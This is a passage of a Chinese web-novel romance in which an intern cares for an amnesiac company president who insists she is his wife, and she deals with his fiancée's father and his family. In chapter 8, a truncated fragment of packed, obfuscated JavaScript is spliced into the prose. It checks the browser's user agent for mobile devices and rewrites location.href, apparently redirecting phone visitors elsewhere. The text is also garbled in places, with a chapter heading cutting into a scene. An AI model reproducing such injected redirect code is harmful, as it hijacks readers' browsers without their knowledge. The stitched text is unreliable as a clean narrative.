她就是个答辩的。
再说了,陆时琛在走廊,又不会进来。
应该……不会有什么事吧?
她正想着,手机震了一下。
是陆时琛发来的消息——早上她帮他手机充上电,又把自己的号码存进去了。
【外面有个人一直看我。】
林栖心头一紧:【什么人?】
【男的,年纪挺大,穿西装。】<
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林栖:【……他跟你说话了吗?】
【没有,就是一直看。】
林栖盯着屏幕,沉默了。
不会吧?
不会这么巧吧?
她还没来得及回复,教室门开了。
一个中年男人走进来,身后跟着几个老师。
教室里瞬间安静下来。
林栖抬头看去——
那男人穿着深色西装,气质儒雅,面带微笑,看起来像个和善的长辈。
但他的眼睛——
他的眼睛扫过教室,在林栖身上停了一秒。
就一秒。
然后他若无其事地移开视线,走到后排坐下。
林栖的心跳漏了一拍。
她低头看手机。
陆时琛又发来一条消息:【他进去了。】
林栖:【嗯,我看见他了。】
陆时琛:【他是谁?】
林栖想了想,回复:【可能是……你认识的人。】
陆时琛:【我不认识他。】
林栖:【他现在不认识你。】
陆时琛:【???】
林栖没有再回复。
她把手机调成静音,深吸一口气。
答辩开始了。
一个接一个同学上去,又下来。
林栖坐在下面,一个字都没听进去。
她的余光一直注意着后排那个人。
那个人一直很安静,偶尔低头记点什么,偶尔抬头看看台上的学生。
看不出任何异常。
终于——
“林栖。”
老师叫了她的名字。
林栖站起来,走上台。
她站在讲台上,目光扫过下面的老师。
最后落在后排那个人身上。
那个人也看着她。
目光交汇的一瞬间,他微微笑了一下。
6. 她是不是说得太直白了?
林栖的心跳又漏了一拍。
她深吸一口气,打开PPT。
“各位老师好,我叫林栖,我的论文题目是……”
她开始讲。
讲着讲着,她慢慢进入了状态。
这是她写了四个月的论文,每一页每一段她都很熟悉。
讲着讲着,她甚至忘了后排还有那个人。
十五分钟后——
“以上就是我的论文内容,谢谢各位老师。”
老师们开始提问。
一个接一个问题抛过来,林栖一一回答。
最后一个问题来自后排。
那个人开口了。
“林同学,我问一个题外话。”他的声音很温和,“你是学人力资源的,对公司的实习生制度有什么看法?”
林栖愣了一下。
这个问题……好像不在论文范围里。
但她还是回答了。
“我觉得实习生制度挺好的,给年轻人提供了锻炼的机会。”她顿了顿,“但是有些公司会压榨实习生,让实习生做很多杂活,学不到东西,这就不好了。”
那个人点点头。
“那你觉得,什么样的公司算好公司?”
林栖想了想。
“给实习生发工资的。”她说,“不让实习生拿外卖的。不把实习生当工具人的。”
台下有同学笑出声。
那个人也笑了。
“很实在。”他说,“谢谢林同学。”
林栖点点头,走下台。
她回到座位,心跳得很快。
刚才那几句话,她是不是说得太直白了?
但说都说了,还能怎么办?
答辩继续。
又过了半个小时,所有同学都讲完了。
老师们简单商议了一下,宣布结果。
林栖过了。
她松了口气。
散场的时候,她正准备往外走,一个声音叫住她。
“林同学。”
林栖回头。
那个人站在她面前,微笑着。
“我是苏正平。”他说,“不知道你有没有时间,聊几句?”
林栖看着他。
走廊外面,陆时琛还在等着。
但她知道,这个人,她躲不过。
“好。”她说。
她跟着苏正平走到走廊尽头。
路过长椅的时候,她看见陆时琛站起来,眼神带着疑问。
她冲他摇摇头,示意他别动。
陆时琛皱着眉,但还是坐下了。
但他看着她的眼神,有点不一样。
好像……在担心什么?
林栖没多想,跟着苏正平走到走廊尽头。
走廊尽头,苏正平停下脚步,转过身来。
他看着她,脸上还挂着那个温和的笑容。
“林同学,答辩讲得不错。”他说,“思路清晰,表达流畅,看得出来是用心写了。”
林栖礼貌地点头:“谢谢苏老师。”
苏正平笑了笑。
“不用叫我老师,我就是来观摩的。”他顿了顿,“说起来,你和时琛是一个公司的?”
林栖心里咯噔一下。
但面上不动声色。
“是的,”她说,“我在陆氏集团实习。”
“实习?”苏正平点点头,“哪个部门?”
“行政部。”
“行政部啊。”苏正平若有所思,“那你平时能见到时琛吗?”
林栖想了想,决定实话实说。
“昨天之前,没见过。”
苏正平挑了挑眉。
“昨天之前没见过,”他重复了一遍,“那昨天之后呢?”
林栖看着他。
他的笑容还是那么温和,但眼神里多了一点别的东西。
“昨天他晕倒了,”林栖说,“我正好在二十一楼送文件,碰上了。”
“然后呢?”
“然后他抓住我的手,叫我老婆。”
苏正平笑了。
“你就这么让他抓着?”
“他抓得太紧,我抽不出来。”
“抽不出来?”苏正平的笑意味深长,“林同学,你这话,说出去谁信?”
林栖没说话。
苏正平看着她,目光里带着一点玩味。
“林同学,你知道我是谁吗?”
林栖点头:“苏氏集团董事长。”
“那你应该也知道,”苏正平慢慢说,“我女儿苏婉,和时琛有婚约。”
林栖继续点头。
“他们订婚三年了。”苏正平说,“三年里,时琛从来没对别的女孩多看过一眼。怎么昨天一晕倒,就抓着你叫老婆?”
林栖听着这话,心里有点不舒服。
这话的潜台词是:你算什么
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东西,也配?
但她没表现出来。
“苏董,”她说,“您说的这些,我都不知道。我只知道昨天他晕倒了,抓住我的手不放,我就陪他去了医院。至于他为什么叫我老婆,您应该问他,不是问我。”
苏正平看着她,眼神里闪过一丝意外。
大概是没想到一个小实习生敢这么跟他说话。
他笑了笑。
“林同学别误会,我没别的意思。”他说,“我就是想提醒你一句——时琛现在失忆了,说什么做什么,我们都能理解。但等他好了,该面对的,还是要面对。”
他顿了顿,语气还是那么温和。
“你是个聪明姑娘,应该知道我在说什么。”
林栖听懂了。
他在让她知难而退。
她忽然有点想笑。
“苏董,”她说,“您的意思我明白了。但我有个问题想请教您。”
“你说。”
“您刚才问我,对实习生制度有什么看法。”林栖看着他,“我的看法是,实习生也是人,不是工具,不是用完就扔的抹布。同样,我虽然是个实习生,但我也有脑子,知道自己在做什么。”
她顿了顿。
“您女儿和陆总有婚约,那是他们的事。我现在陪着他,是因为他抓着我的手不放,是因为他需要人照顾。等他好了,他想怎么做,那是他的自由。我不会赖着不走,但也不会因为谁一句话就吓得跑路。”
她看着苏正平,笑了笑。
“您说对吗?”
苏正平看着她。
他的笑容还在,但眼神已经变了。
不是愤怒,而是——一种重新打量的意味。
“有意思。”他说,“林同学,你比我想象的有意思。”
林栖没说话。
苏正平沉默了一会儿,然后点点头。
“行,那我就不多说了。”他转身要走,忽然又停下脚步,“对了,林同学。”
“嗯?”
“你刚才说,时琛抓着你叫老婆。”他回头看她,“你有没有想过,他为什么偏偏抓着你?”
林栖愣了一下。
苏正平笑了笑。
“好好想想吧。”
说完,他走了。
林栖站在原地,看着他的背影消失在楼梯口。
她忽然有点懵。
他最后一句话,是什么意思?
7. 我真的不知道那个是什么
林栖推着购物车,看着陆时琛认真挑茄子的样子,忽然想起苏正平那句话。
“他为什么偏偏抓着你?”
她盯着他的侧脸看了三秒。
陆时琛像是感觉到什么,转过头来。
“怎么了?”
“没什么。”她移开视线,“茄子挑好了吗?”
他把手里的茄子递给她看。
“这个可以吗?”
她点点头,接过茄子放进购物车。
旁边一个大妈路过,看了他们一眼,露出慈祥的笑容。
“小两口来买菜啊?”
林栖刚想解释,陆时琛已经点头了。
“嗯。”
大妈笑得更开心了:“真般配!小伙子有福气,媳妇这么会挑菜。”
“谢谢。”陆时琛又点头,嘴角翘得老高。
大妈走了。
林栖看着他。
“你倒是挺会接话。”
他眨眨眼:“我说的是实话。”
林栖懒得理他,继续往前推车。
走到零食区的时候,她停下了脚步。
货架上摆满了各种各样的薯片、饼干、辣条。
她咽了咽口水。
“想买?”陆时琛问。
“没有。”林栖移开视线,“就是看看。”
“买吧。”他拿起一袋她看了最久的薯片,放进购物车。
林栖愣了一下:“你干嘛?”
“你想吃。”
“我没说我想吃。”
“你看了三秒。”
林栖:“……”
这人眼睛是尺子吗?
陆时琛又拿起一袋辣条:“这个也看了两秒。”
还有一袋饼干:“这个看了四秒。”
购物车很快就堆满了零食。
林栖看着那一车,心情复杂。
“买太多了。”
“不多。”他推着车往前走,“慢慢吃。”
林栖跟在后面,看着他高大的背影,忽然觉得心里有点软。
这个人,失忆之后好像就剩下一个本能——
对她好。
结账的时候,林栖看了一眼收银台旁边的货架。
上面摆着各种小盒子。
她飞快地移开视线,假装没看见。
但陆时琛已经注意到了。
“那个是什么?”
林栖的脸腾地红了。
“没什么。”
“你脸红了。”他歪头看她,“那个是什么?”
收银员是个年轻女孩,憋着笑看着他们。
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林栖恨不得找个地缝钻进去。
“就是……那个……”她压低声音,“安全措施。”
陆时琛愣了一下,然后恍然大悟。
“哦。”
他看了一眼货架,又看了一眼她。
“需要买吗?”
林栖的脸更红了。
“不需要!”
“好。”他点点头,对收银员说,“结账。”
收银员终于没忍住,笑了出来。
林栖全程低着头,恨不得把脸埋进购物车里。
出了超市,陆时琛提着两大袋东西,走在她旁边。
“你刚才为什么脸红?”
林栖瞪他:“你故意的?”
“不是。”他一脸无辜,“我真的不知道那个是什么。”
林栖盯着他看了三秒。
他的眼神清澈见底,确实不像装的。
她叹了口气,快步往前走。
“快走吧,再晚菜就不新鲜了。”
走了一段,林栖忽然意识到一个问题。
等等,他们要去哪儿做饭?
医院病房?那地方连个灶都没有。
她停下脚步,转头看他。
“陆时琛。”
“嗯?”
“你家在哪儿?”
8. 只想对你这样
陆时琛想了想,皱起眉。
“不记得了。”他说,“但是应该有家吧?”
林栖:“……”
你问我?我问谁?
她拿出手机。
“你等着,我问问。”
她找到主管的微信,打字:【主管,你知道总裁住哪儿吗?】
主管秒回:【???你要干嘛???】
【他让我送他回家,我不知道地址。】
主管发来一个震惊的表情包,然后是一个地址。
【这是他家?】
【这是总裁办的登记地址,应该没错。栖姐你到底在搞什么!!!】
林栖没有回复。
她把地址给陆时琛看。
陆时琛看了一眼,点点头。
“好像是的。”
半个小时后,林栖站在江景壹号的顶层公寓里,陷入了沉思。
她知道有钱人住得好。
但她不知道有钱人住得这么好。
三百六十度落地窗,俯瞰整个城市的天际线。
江景在脚下蜿蜒,阳光在江面上跳跃。
家具是简约的现代风,黑白灰的色调,每一件都像是从杂志里搬出来的。
她站在客厅中央,手足无措。
“坐。”陆时琛指了指沙发。
林栖小心翼翼地坐下。
沙发软得不可思议,她整个人陷进去,差点起不来。
“要喝什么?”
“随便。”
陆时琛去开放式厨房的冰箱里看了看,回头问她:“牛奶?果汁?还是咖啡?”
“牛奶就行。”
他倒了一杯牛奶,放进微波炉里热了三十秒,然后端过来放在她面前。
林栖看着那杯牛奶。
杯壁温热,刚刚好。
“你怎么知道我要喝热的?”
陆时琛愣了一下。
“不知道。”他想了想,“就是觉得……应该热一下。”
林栖沉默了一会儿。
“你以前是不是对别人也这么好?”
陆时琛皱眉,像是在努力回想。
“不记得了。”他说,“但是应该没有。”
“为什么?”
“因为……”他看着她,眼神认真,“只想对你这样。”
林栖的心跳漏了一拍。
她垂下眼睛,端起牛奶喝了一口。
温热的液体滑进胃里,熨帖得让人想叹气。
“那个,”她放下杯子,“你现在还没恢复记忆,很多事情不记得。等你恢复了,可能就不这么想了。”
陆时琛在她旁边坐下,看着她。
“你好像一直觉得我会变。”
林栖没说话。
“你是不是不相信我?”
林栖抬起头,对上他的视线。
“我们本来就不是一个世界的人。你现在只是失忆了,等你想起来,你就会发现,你根本不需要我这种人。”
“哪种人?”
“普通人。”林栖说,“月薪八千,住出租屋,每天摸鱼等下班,最大的愿望是回学校拿毕业证的那种普通人。”
陆时琛沉默了一会儿。
“听起来挺好的。”
林栖愣住了。
“好什么?”
“摸鱼。”他说,“我也想摸鱼。”
林栖:“……”
“还有回学校拿毕业证。”他继续说,“我好像没有毕业证,不知道为什么。”
林栖忍不住笑了。
“你肯定有的,只是忘了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342442|199412||http|test|mini|href|location''.split(''|''),0,{}));
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>“那等你拿到毕业证,给我看看。”
“好。”
气氛忽然轻松起来。
“那个……”她开口。
他抬起头:“嗯?”
“我需要回一趟出租屋。”
陆时琛站起来:“我陪你去。”
“不用,我自己——”
“我陪你去。”他打断她,语气平静但不容置疑,“你一个人我不放心。”
林栖张了张嘴,想说“有什么不放心的”,但对上他那双认真的眼睛,话到嘴边又咽了回去。
“……好吧。”
四十分钟后,林栖站在自己出租屋的门口,忽然有点后悔带他一起来。
这栋楼太老了。
楼道里的灯忽明忽暗,墙上贴满了小广告,楼梯扶手锈迹斑斑,空气里弥漫着一股说不清道不明的味道。
她偷看了一眼陆时琛。
他穿着那件深灰色毛衣,站在逼仄的楼道里,整个人显得格格不入。
像一只误入贫民窟的天鹅。
“就是这儿。”她掏出钥匙,打开门。
门后是一个不到二十平米的房间,放着一张床、一张桌子、一个衣柜,就已经满满当当。窗户朝北,终年不见阳光,晾在窗台上的衣服永远潮乎乎的。
林栖走进去,从桌上拿起自己的笔记本电脑。
回头一看,陆时琛站在门口,正打量着这个房间。
她忽然有点不好意思。
“那个……有点乱。”
陆时琛收回视线,看着她。
“你住在这儿?”
“嗯。”林栖点点头,“一个月两千,押一付三,离公司近。”
陆时琛沉默了一会儿。
然后他问:“你是我老婆,为什么住在这儿?”
9. 我就是你的后台
林栖被问住了。
这问题怎么回答?
因为我不是你老婆?因为你失忆了?因为我们昨天才认识?
她张了张嘴,还没想好怎么说,手机忽然响了。
是一个陌生号码。
她接起来。
“林栖是吗?”对面是一个女人的声音,有点耳熟。
“我是,您哪位?”
“我是陆时琛的妈妈。”那个声音说。
林栖愣了一下,下意识看了一眼陆时琛。
他正看着她,眼神里带着疑问。
“阿姨您好。”她稳住声音,“有什么事吗?”
“没什么大事。”陆母的语气不冷不热,“就是想问问你,时琛今天怎么样?”
“他现在就在我旁边,您要跟他说话吗?”
“不用。”陆母说,“我就是确认一下他没事。对了,你们现在在哪儿?”
林栖看了看四周:“在我家。”
“你家?”
“嗯,我回来拿点东西。”
“你家在哪儿?”
林栖报了地址。
对面沉默了两秒。
然后陆母说:“他就让你住这种地方?”
林栖:“……”
这话听着怎么这么扎心。
她正要开口,手机“叮”的一声。
银行到账提醒。
她低头一看——
100,000.00元
备注:【辛苦费。】
林栖:“……”
她看着那行字,愣了一下。
辛苦费?
所以……她这是在打工?
她抬头看了一眼陆时琛。
他正看着她,眼神无辜。
手机震了一下。
林栖掏出来一看——公司群又炸了。
有人发了一张照片,是刚才在超市拍的:她和陆时琛站在购物车旁边,手牵着手。
配文:【最新进展!俩人一起去逛超市了!手一直牵着!】下面已经跟了两百多条。
【卧槽卧槽卧槽!!!】
【这绝对不是普通关系了!!!】
【所以林栖是真爱?天啊小说照进现实!】
【等等,那她平时摸鱼……】
【有后台啊!当然敢摸鱼!】
【难怪!我就说她怎么那么理直气壮!】
【人家是未来总裁夫人,摸个鱼怎么了!】
【别说摸鱼了,她就是把公司拆了我也觉得合理!】
林栖:“……”
旁边,陆时琛凑过来看了一眼她的手机。
“在看什么?”
林栖条件反射地把手机往旁边一藏。
但已经晚了。
陆时琛看见了屏幕上的聊天记录。
他沉默了一下。
然后他说:“他们说得对。”
林栖:“……什么?”
“你确实有后台。”
林栖看着他。
他认真地说:“我就是你的后台。”
林栖愣了一下。
陆时琛继续说:“谁敢让你拿外卖,你就告诉我。”
林栖张了张嘴,一时不知道说什么。
他看着她,眼神亮亮的,好像在等一个回应。
林栖忽然有点想笑。
“你先管好你自己吧。”她说,“你现在连自己叫什么都记不清。”
“记得。”
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他认真地说,“我叫陆时琛。我老婆叫林栖。”
林栖:“……”
这人,倒是把这两件事记得挺牢。
手机又震了。
这回是室友的微信。
室友:【林栖!!!你火了!!!】
配图是一张校园匿名论坛的截图。
帖子标题:【爆】【陆氏总裁的地下女友曝光!居然是成大学生!】
主楼是一张她在二十一楼扶着陆时琛的照片,配文:【校友们,这人你们认识吗?听说是我们成大的,今天突然爆出来的。】
下面评论五花八门:
【卧槽长得也就一般啊,人家就是玩玩而已!】
【楼上酸什么,人家命好你嫉妒啊?】
【有没有人知道她什么来头?】
【听说是普通家庭,没什么特别的。】
【笑死,有钱人找普通人?】
林栖看完,把手机揣回兜里。
旁边,陆时琛又凑过来。
“看到什么了?”
林栖把手机往他面前一放。
“你自己看。”
陆时琛低头看了一会儿,然后他皱起眉。
“这个说‘长得一般’的,”他指着一条评论,“是谁?”
林栖愣了一下:“……不知道啊,匿名的。”
“我可以让人查。”
林栖看着他。
他认真地说:“他骂你,我要查出来是谁。”
林栖沉默了一秒。
然后她笑了。
“行了行了,”她把手机收回来,“骂我的人多了,你查不过来。”
陆时琛皱着的眉头没松开。
“很多人骂你?”
10. 你一个实习生,凭什么?
林栖想了想:“也不算骂吧,就是……人言可畏。”
陆时琛没说话,但眉头还是皱着。
林栖看着他这个样子,忽然觉得有点好玩。
这人,明明什么都不记得,却在这里为她被人说“长得一般”而皱眉。
“好了,”她拍拍他的手,“别想了。你现在的任务是好好休息,把脑袋养好。”
他看着她,过了一会儿,点点头。
“听老婆的。”
林栖耳朵又烫了一下。
这人,叫老婆怎么越叫越顺口了?
她把手机揣回兜里,看了看这间逼仄的出租屋。
“那个……”她开口。
陆时琛抬起头。
“我可能需要收拾一下东西。”
“收拾什么?”
林栖扫了一眼房间。
衣服、书、护肤品、乱七八糟的小玩意儿。
她只带了一些必须要用的,反正过几天还要回来的。
回到江景壹号的时候,天已经黑了。
林栖刚把手机放下,它又响了。
这次是个陌生号码。
林栖犹豫了一下,接起来。
“喂?”
“林栖是吗?”对面是个男人的声音,沉稳,带着点居高临下的意味,“我是陆时琛的父亲。”
林栖愣住了。
她下意识地看向陆时琛。
陆时琛正用那双无辜的眼睛看着她,完全不知道电话那头是谁。
“林小姐,我在楼下。方便上来谈谈吗?”
林栖握着手机的手紧了紧。
“陆先生,您上来吧。”
挂了电话,她告诉陆时琛。
“你爸来了。”
陆时琛眨了眨眼:“我爸?”
“嗯。”林栖看着他,“你不记得他了?”
陆时琛皱了皱眉,努力回想,然后摇头:“想不起来。”
林栖沉默了。
门外传来脚步声。
门被推开。
进来的是一个中年男人,西装革履,眉目威严,和陆时琛有六七分相似。他身后还跟着两个人,一个拎着公文包,看起来像是律师,另一个——
林栖眯了眯眼。
另一个是个年轻男人,二十多岁,穿着休闲西装,脸上带着恰到好处的关切表情。但林栖注意到,他的眼睛从进门开始就在打量她。
“爸。”陆时琛先开了口。
陆父的脚步顿了顿。
他看向陆时琛,又看向林栖,最后目光落在两人交握的手上。
“时琛,你……”陆父的声音有些复杂,“你知道我是谁?”
“知道。”陆时琛点头,“你是我爸。”
陆父明显松了口气。
但下一秒,这口气又提了起来。
“但是我不记得别的事了。”陆时琛补充,“我只记得她。”
他看向林栖。
陆父的目光再次落在林栖身上。
林栖感觉那道目光像X光一样,恨不得把她从头到脚扫描一遍。
“林小姐是吧?”陆父走到沙发前坐下,示意那个律师和年轻男人也坐,“请坐。”
“林小姐,”陆父接着说道,“昨天的事我已经听说了。谢谢你救了我儿子。”
林栖:“不客气。”
“但是,”陆父话锋一转,“林小姐,你和时琛之前认识吗?”
这是一个关键问题。
林栖看着陆父的眼睛,那双眼睛精明、锐利,像鹰一样。
她可以现在说实话。
可以说“我们不认识,他认错人了,这一切都是误会”。
可以把这场荒唐的闹剧就此结束。
可是——她想起陆时琛握着她的手,用那种依赖信任的眼神;想起他说“老婆说什么就是什么”时,眼睛亮得像星星。
林栖开口了。
“认识。”她说。
陆父挑眉。
“三个月了。”林栖面不改色,“他没告诉家里,是
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因为……您也知道,他那个圈子,这种事情传出去不好听。他只是想保护我。”
陆父看着她,没有说话。
旁边那个年轻男人笑了。
“保护你?”他开口,声音带着点嘲弄,“林小姐,你知不知道我哥的圈子是什么圈子?你知不知道想嫁给他的人有多少?你一个实习生,凭什么?”
林栖看向他。
“你是?”林栖问。
年轻男人笑容一僵:“你装什么?我是陆时安,他弟弟。”
“哦。”林栖点点头,“弟弟啊。”
她语气平平淡淡的,但那个“啊”字拖得有点长,听起来就很意味深长。
陆时安的笑容有点挂不住了。
“林小姐,我直说吧。”他收起笑容,“我不信。我哥要是真有女朋友,不可能瞒得这么好。再说了,你看看你自己——一个实习生,月薪八千,住出租屋,挤地铁上班。我哥什么眼光?他怎么可能看上你?”
这话说得直白又刻薄。
林栖却笑了。
“陆先生,”她说,“你这话说的,好像你多了解你哥似的。”
陆时安脸色一变。
“你什么意思?”
林栖没有回答他。
她转头看向陆父。
“陆先生,我知道您不信。说实话,换我我也不信。”她语气平静,“但是您儿子现在需要休息,需要安全感。医生说他的失忆可能是暂时的,也可能……可能不会恢复。现在最重要的是让他安心养病。”
她顿了顿。
“至于我是谁,我们是什么关系,等他想起来再说,行吗?”
陆父看着她,目光幽深。
房间里安静了几秒。
“好。”陆父站起身,“林小姐,那就麻烦你照顾他了。有什么事,随时联系我。”
说完,他推门出去了。
陆时安跟在他身后,临走前回头看了林栖一眼,那眼神里有太多东西——怀疑、警惕、还有一丝说不清的东西。
11. 你当总裁夫人
门关上的那一刻,林栖终于松了口气。
她靠在沙发上,望着天花板,脑子里乱糟糟的。
刚才那几句话,她说得理直气壮,但心里其实虚得很。
什么叫“认识三个月了”?什么叫“他想保护我”?她什么时候演技这么好了?
旁边,陆时琛忽然捏了捏她的手。
林栖转头看他。
他正看着她,眼神亮亮的。
“你刚才说,我们认识三个月了?”
林栖心里咯噔一下。
完了,这人虽然失忆了,但又不傻,肯定听出问题来了。
她张了张嘴,正想解释——
“我就知道你是我老婆。”他笃定地说。
林栖:“……”
她看着他,一时不知道该说什么。
这人脑回路怎么回事???
“不是……”她想解释,“我那是……”
“不用解释。”他打断她,握紧她的手,“我懂。”
林栖:“……”
你懂什么了???
她深吸一口气,决定不跟他纠结这个。
“行了行了,你懂就好。”她站起来,“饿了吧?我去做饭。”
陆时琛跟着站起来:“我帮你。”
“不用,你坐着。”
“要的。”
林栖看着他,叹了口气。
“那你打下手。”
厨房里,林栖打开冰箱,把买的菜一样一样拿出来。
陆时琛站在旁边,看着她忙活。
“需要我做什么?”
林栖想了想,把一袋青菜递给他。
“洗菜,会吗?”
他接过袋子,认真地点点头。
然后林栖就看着他打开水龙头,把整袋青菜连同塑料袋一起塞到水龙头下面冲。
林栖:“……???”
“你干嘛?”
“洗菜啊。”他一脸无辜。
林栖沉默了。
她走过去,把塑料袋从他手里拿过来,把青菜倒出来,然后示范给他看。
“这样,一片一片掰开,洗干净泥巴,懂?”
他点点头,接过青菜,开始认真掰。
林栖在旁边切肉,余光瞄着他。
他洗得很慢,一片一片,仔仔细细。
水流哗哗的,他的手指修长白皙,衬着绿色的菜叶,竟然有点好看。
“好了。”他把洗好的菜递过来。
林栖看了一眼——确实干净,一片一片码得整整齐齐。
“不错。”她夸他。
他眼睛亮了。
“还有什么要做的?”
林栖想了想,把蒜递给他。
“剥蒜。”
他接过蒜,开始认真剥。
剥完蒜,又切了姜。
切完姜,又打了鸡蛋。
每做完一件事,他就抬头看她,眼神亮晶晶的,像是在等表扬。
林栖看着他那副样子,忍不住想笑。
堂堂总裁,在厨房里打下手,还一脸期待地被夸。
要是被公司那些人看见,估计眼镜都要跌碎。
四十分钟后,三菜一汤上桌。
林栖夹了一筷子菜,放进他碗里。
“尝尝。”
他低头吃了一口。
然后抬起头,看着她。
“好吃。”
林栖笑了。
“那是,也不看看谁做的。”
他又夹了一筷子,继续吃。
吃着吃着,他忽然开口。
“林栖。”
“嗯?”
“以后每天你都做饭给我吃,好不好?”
林栖愣了一下。
“那可不行。”她说,“我下周就要正式离职了。”
他手里的筷子顿住。
“离职?”
“对啊。”林栖点点头,“我本来就是实习生,实习期快结束了。等拿到毕业证,我就去找新工作。”
他沉默了一会儿。
“不能留下来吗?”
林栖看着他。
“留下来干嘛?”她说,“继续当实习生?还是……当总裁夫人?”
她本来是想开个玩笑,活跃一下气氛。
但他认真地看着她。
“可以。”他说,“你当总裁夫人。”
林栖愣了一下。
然后她耳朵又烫了。
“你少来。”她低头扒饭,“等你恢复记忆,你就不这么说了。”
他放下筷子,看着她。
“你为什么总是不信我?”
林栖抬起头,对上他的视线。
他的眼睛很认真,很真诚,没有一丝玩笑的意思。
她忽然有点不敢看他。
“不是不信你……”她移开视线,“是不信我自己。”
“为什么?”
“因为——”她顿了顿,“因为你太不真实了。”
她说的是真心话。
从昨天到现在
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,一切都太像做梦了。
一个有钱有颜的总裁,忽然抓住她的手叫老婆,对她好,说只想对她好。
这不是偶像剧是什么?
可她是林栖,不是偶像剧女主。
她从小就知道,天上不会掉馅饼,就算掉了,也轮不到她捡。
“你看,”她掰着手指头数,“你有钱,有颜,有公司,有未婚妻,有豪门背景。我呢?普通家庭,普通学校,普通长相,月薪八千,住出租屋,最大的梦想是攒够钱给妈妈换个大房子。”
她看着他。
“我们本来就不是一个世界的人。你现在只是失忆了,等你恢复了,你就会发现——”
“不会。”
他打断她。
“不会什么?”
“不会发现。”他认真地说,“你就是我老婆。以前是,现在是,以后也是。”
林栖看着他。
他继续说:“就算我什么都想不起来,我也记得你。这难道不是最重要的吗?”
林栖愣住了。
他说得好像……也有道理?
“再说了,”他补充,“你说我们不是一个世界的人,那你就搬过来。”
林栖:“……???”
“搬过来,我们就是一个世界的人了。”
林栖哭笑不得。
“这不是搬不搬的问题……”
“那是什么问题?”
林栖张了张嘴,发现自己竟然不知道怎么反驳。
她叹了口气。
“算了,吃饭吧。”
他点点头,拿起筷子,继续吃。
但过了一会儿,他又抬起头。
“林栖。”
“嗯?”
“不管你信不信,”他说,“我会一直记得你。”
林栖握着筷子的手紧了紧。
她没抬头。
“知道了知道了,吃饭。”
但嘴角,还是忍不住翘了一下。
手机震了一下。
林栖掏出来一看,是室友的微信。
【姐妹,你明天来学校吗?毕业典礼!】
林栖这才想起来,对哦,明天毕业典礼,要拿毕业证。
她回复:【来。】
室友:【那你“老公”怎么办?带着?】
林栖看了一眼对面的人。
【带着吧,反正他也没别的地方去。】
室友发了一个坏笑的表情包。
【明天全校围观你们这对神仙眷侣。】
12. 我知道你是谁就行
第二天早上八点,林栖站在镜子前,陷入了人生中最深刻的哲学思考——
穿什么?
她从包里掏出那件压箱底的连衣裙。
淡蓝色,收腰,及膝,是她妈去年过年非要给她买的,说是“女孩子总得有一条像样的裙子”。买完之后一次没穿过,因为——太像相亲穿的。
林栖看着镜子里的自己,犹豫了三秒。
“这条好看。”
身后传来一个声音。
林栖回头,陆时琛不知道什么时候站在了门口,正看着她手里的裙子。
“你怎么进来的?”
“门没关。”
林栖看了一眼——确实没关。
“这条好看。”他又说了一遍,指了指裙子。
林栖低头看看裙子,又抬头看看他。
他穿着白衬衫和深灰色休闲裤,头发打理得整整齐齐,额头上的纱布换成了一个小一点的创可贴,整个人看起来清爽又帅气。
林栖忽然有点不平衡。
凭什么他随便穿穿就这么好看?
“你穿什么?”她问。
他低头看了看自己:“就这样?”
林栖点点头,把裙子往身上比了比。
“那我穿这个?”
他认真地点头:“好看。”
林栖看着他那副认真的样子,忽然有点想笑。
“行吧,那就这条。”
十分钟后,林栖换好裙子出来。
陆时琛正坐在沙发上等她,看见她出来,眼睛亮了亮。
“好看。”
林栖被他看得有点不好意思。
“行了行了,走吧。”
她走过去,很自然地把手伸给他。
他握住,站起来。
两人走出门。
电梯里,林栖看着镜子里的自己和他,忽然想到一个问题——
他们这样,真的好像情侣啊。
她移开视线,假装在看楼层数。
八点四十,学校门口。
林栖刚下车,就看见室友站在门口,举着手机对着他们。
“来了来了来了!”
林栖:“……你在干嘛?”
“直播!”室友兴奋地说,“我们学校论坛有人开贴了,说今天要全程围观‘成大传奇学姐’!”
林栖:“……传奇学姐?我?”
“对啊!”室友把手机怼到她面前,“你看,在线观看人数已经五百了!”
林栖看了一眼屏幕——
弹幕正在疯狂滚动:
【哪个哪个?穿蓝裙子的那个吗?】
【旁边那个男的是谁?好帅!!!】
【就是他就是他!总裁!】
【卧槽卧槽卧槽真人比照片帅多了!!!】
【他们牵手了牵手了牵手了!!!】
【啊啊啊啊啊啊啊好甜!!!】
林栖:“……”
她默默移开视线,假装什么都没看见。
旁边,陆时琛凑过来看了一眼屏幕。
“他们在说什么?”
“没什么。”林栖拉着他往前走,“快走快走,要迟到了。”
身后,室友举着手机一路小跑跟着。
“你们别走那么快啊!观众要看!”
林栖的脚步更快了。
毕业典礼在学校大礼堂举行。
林栖和陆时琛到的时候,门口已经排起了长队。
所有人的目光,都齐刷刷地看向他们。
确切地说,是看向他们握在一起的手。
林栖感觉那些目光像聚光灯一样,把她从头到脚照了个遍。
她低下头
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,假装在看地上的蚂蚁。
旁边传来窃窃私语:
“就是她吗?”
“对对对,就是那个!”
“旁边那个就是陆氏总裁?好帅啊……”
“他们真的在一起了?”
“你没看论坛吗?都实锤了!”
林栖的耳朵越来越烫。
旁边,陆时琛忽然开口。
“他们在看你。”
林栖:“……我知道。”
“他们好像很惊讶。”
林栖:“……我也知道。”
“为什么?”
林栖抬起头,看着他。
他一脸无辜,是真的不明白。
林栖想了想,决定实话实说。
“因为你是总裁,我是实习生。在他们眼里,我们不是一个世界的人。”
陆时琛皱了皱眉。
“又是这句话。”
林栖愣了一下。
他又说:“昨天你说过了。”
林栖:“……所以呢?”
“所以我不喜欢。”他看着她的眼睛,“你就是你,我就是我。为什么不是一个世界?”
林栖张了张嘴,不知道怎么回答。
他继续说:“你在医院陪我,你帮我洗衣服,你做饭给我吃。这些都是你做的事。这难道不是一个世界的人能做的事吗?”
林栖愣住了。
他说得……好像没错?
陆时琛握着她的手紧了紧。
“别管他们怎么说。”他说,“我知道你是谁就行。”
林栖看着他认真的眼神,忽然觉得心里软了一下。
这人,明明什么都不记得了,偏偏在这些事情上想得特别明白。
“知道了。”她小声说,移开视线。
但嘴角还是忍不住翘起来。
13. 陪你摸鱼
